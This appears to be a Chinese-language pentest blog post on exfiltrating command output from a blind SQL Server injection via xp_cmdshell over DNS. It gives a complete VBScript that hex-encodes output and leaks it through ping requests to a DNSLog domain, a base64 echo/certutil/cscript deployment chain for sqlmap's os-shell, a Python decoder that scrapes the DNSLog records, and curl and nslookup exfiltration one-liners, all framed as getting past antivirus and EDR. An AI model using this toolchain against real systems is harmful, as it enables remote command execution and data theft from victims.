SQL Server 盲注实战：DNSLog 外带 xp_cmdshell 命令回显

实战中碰到个注入，跑出来是盲注，数据库是 sqlserver，大致情况就是能开 xp_cmdshell，执行命令回显慢得一比，目标机器一堆杀软加 EDR ，只有 DNS 出网。属于是 buff 拉满了，这种情况下还能艰难地通过 dnslog 外带一些请求来看回显，但是 dnslog 有长度限制，期间尝试了各种 for 循环执行命令以及巴拉巴拉各种骚操作都不行，最后找到了个小脚本终于可以方便执行命令和完整输出命令回显。

注：sg1y8oiv.eyes.sh 要修改成自己的 dnslog 地址，这里我用的是 https://eyes.sh/

Function ReadFile(filePath)
    Dim fso, file, fileContent
    Set fso = CreateObject("Scripting.FileSystemObject")
    On Error Resume Next
    Set file = fso.OpenTextFile(filePath, 1)
    If Err.Number <> 0 Then
        ReadFile = ""
        Exit Function
    End If
    fileContent = file.ReadAll()
    file.Close()
    ReadFile = fileContent
End Function

Function ToHex(inputStr)
    Dim i, hexStr
    hexStr = ""
    For i = 1 To Len(inputStr)
        hexStr = hexStr & Right("00" & Hex(Asc(Mid(inputStr, i, 1))), 2)
    Next
    ToHex = hexStr
End Function

Function GenerateRandomNumber()
    Randomize
    GenerateRandomNumber = Int((99999 - 10000 + 1) * Rnd + 10000)
End Function

Sub PingDnslog(hexStr, randomNum)
    Dim i, segment, part1, part2, part3, counter, paddedSegment
    i = 1
    counter = 0
    Do While i <= Len(hexStr)
        segment = Mid(hexStr, i, 180)

        ' Pad the segment with zeros if it's less than 180 characters
        If Len(segment) < 180 Then
            paddedSegment = segment & String(180 - Len(segment), "0")
        Else
            paddedSegment = segment
        End If

        part1 = Mid(paddedSegment, 1, 60)
        part2 = Mid(paddedSegment, 61, 60)
        part3 = Mid(paddedSegment, 121, 60)

        ' Increment counter for each ping
        counter = counter + 1

        ' Construct the DNS request
        dnsRequest = randomNum & "." & counter & "." & part1 & "." & part2 & "." & part3 & ".sg1y8oiv.eyes.sh"

        ' Ping the constructed DNS request
        CreateObject("WScript.Shell").Run "ping -n 1 " & dnsRequest, 0, True

        i = i + 180
    Loop
End Sub

' Main script logic
Dim filePath, fileContent, hexResult, randomNum

filePath = "C:\Users\Public\file.txt"
fileContent = ReadFile(filePath)

If fileContent = "" Then
    WScript.Echo "Failed to read file or file is empty."
    WScript.Quit 1
End If

hexResult = ToHex(fileContent)
randomNum = GenerateRandomNumber()

PingDnslog hexResult, randomNum

改好 dnslog 地址后，转成 base64。

sqlmap 开了 --os-shell 以后执行下面的命令。

第一步 写入文件：

echo RnVuY3Rpb24gUmVhZEZpbGUoZmlsZVBhdGgpCiAgICBEaW0gZnNvLCBmaWxlLCBmaWxlQ29udGVudAogICAgU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQogICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgIFNldCBmaWxlID0gZnNvLk9wZW5UZXh0RmlsZShmaWxlUGF0aCwgMSkKICAgIElmIEVyci5OdW1iZXIgPD4gMCBUaGVuCiAgICAgICAgUmVhZEZpbGUgPSAiIgogICAgICAgIEV4aXQgRnVuY3Rpb24KICAgIEVuZCBJZgogICAgZmlsZUNvbnRlbnQgPSBmaWxlLlJlYWRBbGwoKQogICAgZmlsZS5DbG9zZSgpCiAgICBSZWFkRmlsZSA9IGZpbGVDb250ZW50CkVuZCBGdW5jdGlvbgoKRnVuY3Rpb24gVG9IZXgoaW5wdXRTdHIpCiAgICBEaW0gaSwgaGV4U3RyCiAgICBoZXhTdHIgPSAiIgogICAgRm9yIGkgPSAxIFRvIExlbihpbnB1dFN0cikKICAgICAgICBoZXhTdHIgPSBoZXhTdHIgJiBSaWdodCgiMDAiICYgSGV4KEFzYyhNaWQoaW5wdXRTdHIsIGksIDEpKSksIDIpCiAgICBOZXh0CiAgICBUb0hleCA9IGhleFN0cgpFbmQgRnVuY3Rpb24KCkZ1bmN0aW9uIEdlbmVyYXRlUmFuZG9tTnVtYmVyKCkKICAgIFJhbmRvbWl6ZQogICAgR2VuZXJhdGVSYW5kb21OdW1iZXIgPSBJbnQoKDk5OTk5IC0gMTAwMDAgKyAxKSAqIFJuZCArIDEwMDAwKQpFbmQgRnVuY3Rpb24KClN1YiBQaW5nRG5zbG9nKGhleFN0ciwgcmFuZG9tTnVtKQogICAgRGltIGksIHNlZ21lbnQsIHBhcnQxLCBwYXJ0MiwgcGFydDMsIGNvdW50ZXIsIHBhZGRlZFNlZ21lbnQKICAgIGkgPSAxCiAgICBjb3VudGVyID0gMAogICAgRG8gV2hpbGUgaSA8PSBMZW4oaGV4U3RyKQogICAgICAgIHNlZ21lbnQgPSBNaWQoaGV4U3RyLCBpLCAxODApCgogICAgICAgICcgUGFkIHRoZSBzZWdtZW50IHdpdGggemVyb3MgaWYgaXQncyBsZXNzIHRoYW4gMTgwIGNoYXJhY3RlcnMKICAgICAgICBJZiBMZW4oc2VnbWVudCkgPCAxODAgVGhlbgogICAgICAgICAgICBwYWRkZWRTZWdtZW50ID0gc2VnbWVudCAmIFN0cmluZygxODAgLSBMZW4oc2VnbWVudCksICIwIikKICAgICAgICBFbHNlCiAgICAgICAgICAgIHBhZGRlZFNlZ21lbnQgPSBzZWdtZW50CiAgICAgICAgRW5kIElmCgogICAgICAgIHBhcnQxID0gTWlkKHBhZGRlZFNlZ21lbnQsIDEsIDYwKQogICAgICAgIHBhcnQyID0gTWlkKHBhZGRlZFNlZ21lbnQsIDYxLCA2MCkKICAgICAgICBwYXJ0MyA9IE1pZChwYWRkZWRTZWdtZW50LCAxMjEsIDYwKQoKICAgICAgICAnIEluY3JlbWVudCBjb3VudGVyIGZvciBlYWNoIHBpbmcKICAgICAgICBjb3VudGVyID0gY291bnRlciArIDEKCiAgICAgICAgJyBDb25zdHJ1Y3QgdGhlIEROUyByZXF1ZXN0CiAgICAgICAgZG5zUmVxdWVzdCA9IHJhbmRvbU51bSAmICIuIiAmIGNvdW50ZXIgJiAiLiIgJiBwYXJ0MSAmICIuIiAmIHBhcnQyICYgIi4iICYgcGFydDMgJiAiLnNnMXk4b2l2LmV5ZXMuc2giCgogICAgICAgICcgUGluZyB0aGUgY29uc3RydWN0ZWQgRE5TIHJlcXVlc3QKICAgICAgICBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5SdW4gInBpbmcgLW4gMSAiICYgZG5zUmVxdWVzdCwgMCwgVHJ1ZQoKICAgICAgICBpID0gaSArIDE4MAogICAgTG9vcApFbmQgU3ViCgonIE1haW4gc2NyaXB0IGxvZ2ljCkRpbSBmaWxlUGF0aCwgZmlsZUNvbnRlbnQsIGhleFJlc3VsdCwgcmFuZG9tTnVtCgpmaWxlUGF0aCA9ICJDOlxVc2Vyc1xQdWJsaWNcZmlsZS50eHQiCmZpbGVDb250ZW50ID0gUmVhZEZpbGUoZmlsZVBhdGgpCgpJZiBmaWxlQ29udGVudCA9ICIiIFRoZW4KICAgIFdTY3JpcHQuRWNobyAiRmFpbGVkIHRvIHJlYWQgZmlsZSBvciBmaWxlIGlzIGVtcHR5LiIKICAgIFdTY3JpcHQuUXVpdCAxCkVuZCBJZgoKaGV4UmVzdWx0ID0gVG9IZXgoZmlsZUNvbnRlbnQpCnJhbmRvbU51bSA9IEdlbmVyYXRlUmFuZG9tTnVtYmVyKCkKClBpbmdEbnNsb2cgaGV4UmVzdWx0LCByYW5kb21OdW0= > C:\Users\Public\test.txt

第二步 转成 vbs 格式：

certutil -decode C:\Users\Public\test.txt C:\Users\Public\test.vbs

第三步 将想执行的命令写入到 C:\Users\Public\file.txt：

dir E:\ > C:\Users\Public\file.txt

第四步 运行 vbs 脚本：

cscript //nologo C:\Users\Public\test.vbs

这个时候你的 dnslog 平台已经开始接收到回显了，大概是下面这样的：

可以复制给 AI 给你解释下啥意思：

那么这个时候其实你的 dnslog 一直在接受这种回显，你都可以把记录复制给 AI 批量解密再拼接，出来的就是你命令的回显。

我嫌麻烦就写了个脚本，最后效果大概就是这样的：

最后脚本需要大家配置一下自己 dnslog 平台的 cookie 跟地址：

Python 解密脚本：

import argparse
import binascii
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import urllib3

# 强制禁用底层 https 未验证证书引发的控制台告警
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 1. 定义命令行参数解析
parser = argparse.ArgumentParser(description="DNSLog 高并发爬取、重组与解码一体化工具")
parser.add_argument(
    "--page",
    type=int,
    default=1,
    help="指定需要从第几页开始向前遍历提取（例如: 100）",
)
parser.add_argument(
    "--threads",
    type=int,
    default=15,
    help="指定并发线程数，默认 15 线程",
)
args = parser.parse_args()

# 2. 配置请求头与原始 Cookie
TARGET_URL = "https://eyes.sh/dns/"

HEADERS = {
    "Host": "eyes.sh",
    "Sec-Ch-Ua": '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": '"macOS"',
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Referer": "https://eyes.sh/dns/",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh-TW;q=0.9,zh;q=0.8",
    "Connection": "keep-alive",
}

RAW_COOKIE_STRING = (
    "csrftoken= "
    "sessionid= "
    "sensorsdata2015jssdkcross="
)
HEADERS["Cookie"] = RAW_COOKIE_STRING

# 3. 精准匹配 <td> 标签中个人特征域名的正则表达式
DATA_REGEX = re.compile(
    r'<td style="word-break:break-all">\s*([\w\d\.-]+\.sg1y8oiv\.eyes\.sh)\s*</td>'
)

# 4. 定义单页下载工作函数（供线程池调用）
def fetch_page(page_num):
    params = {"page": page_num}
    try:
        response = requests.get(
            TARGET_URL,
            headers=HEADERS,
            params=params,
            timeout=10,
            verify=False,
        )
        if response.status_code == 200:
            matches = DATA_REGEX.findall(response.text)
            # 同样保持页面内部记录的时间正序
            return page_num, matches[::-1]
        else:
            return page_num, None
    except Exception:
        return page_num, None

print(f"
 第一阶段：启动线程池（并发线程数: {args.threads}），正在全力爬取 1 到 {args.page} 页...")

# 5. 使用线程池并发抓取
page_data_map = {}  # 用字典暂存：{ 页码: [该页匹配到的记录] }

with ThreadPoolExecutor(max_workers=args.threads) as executor:
    # 提交所有页面的下载任务
    futures = {executor.submit(fetch_page, p): p for p in range(1, args.page + 1)}

    # 动态获取线程执行结果
    for future in as_completed(futures):
        page_num, matches = future.result()
        if matches:
            print(f"[v] 页码 {page_num} 下载完成，成功抓取到 {len(matches)} 条记录。")
            page_data_map[page_num] = matches
        else:
            # 提示：即使某页没数据也正常输出，方便肉眼观察进度
            pass

# 6. 第二阶段：在内存中按“页码从小到大”进行时序重组
print("\n" + "=" * 60)
print("
 第二阶段：正在将多线程乱序数据进行时间线物理校准...")
print("=" * 60)

raw_records = []
# 严格按照页码 100, 99, ... 2, 1 的顺序拼装原始列表，确保时间线不混乱
for p in range(args.page, 0, -1):
    if p in page_data_map:
        raw_records.extend(page_data_map[p])

if not raw_records:
    print("[-] 未提取到任何有效 DNS 记录，脚本终止。")
    sys.exit(0)

# 7. 第三阶段：构建任务池分类重组
task_pool = {}

for record in raw_records:
    record = record.strip().lower()
    parts = record.split(".")
    if len(parts) < 6:
        continue

    try:
        task_id = parts[0]
        counter = int(parts[1])
        hex_payload = parts[2] + parts[3] + parts[4]

        if task_id not in task_pool:
            task_pool[task_id] = {}

        task_pool[task_id][counter] = hex_payload
    except Exception:
        continue

# 8. 第四阶段：按任务升序解码输出
print("\n" + "=" * 60)
print("
 第三阶段：开始进行任务流 Hex 反序列化解码...")
print("=" * 60)

for task_id, blocks in task_pool.items():
    print(f"\n[] 成功锁定任务流 ID: [{task_id}]，共包含 {len(blocks)} 个数据块。")

    sorted_counters = sorted(blocks.keys())
    full_hex_stream = ""
    for c in sorted_counters:
        full_hex_stream += blocks[c]

    cleaned_hex_stream = full_hex_stream.rstrip("0")
    if len(cleaned_hex_stream) % 2 != 0:
        cleaned_hex_stream += "0"

    try:
        raw_bytes = binascii.unhexlify(cleaned_hex_stream)
        try:
            decoded_output = raw_bytes.decode("gbk")
        except UnicodeDecodeError:
            decoded_output = raw_bytes.decode("utf-8", errors="ignore")

        print(f"▼▼▼ [{task_id}] 原始外带文本完美还原内容如下 ▼▼▼")
        print(decoded_output)
        print(f"▲▲▲ {'='*40} ▲▲▲")

    except Exception as decode_error:
        print(f"[-] 任务 [{task_id}] 在十六进制解码时发生崩溃: {decode_error}")

print("\n
 高并发一体化流执行完毕。")

下面就可以愉快地执行命令（记得 sqlmap 回显选择 n）——> dnslog 接受——> 利用脚本遍历指定页数进行解密。

最后，其实搞完这些我觉得挺麻烦，但是最起码能用，大家有没有更好的解决办法可以探讨下。

附一些我尝试过程中的一些命令：

#http外带
tasklist /svc | base64 -w 0 | curl -X POST -d @- http://sg1y8oiv.eyes.sh/recv
#利用条件判断法
if exist D:\wwwroot (nslookup exist.a95571829a.ddns.1433.eu.org) else (nslookup notexist.a95571829a.ddns.1433.eu.org)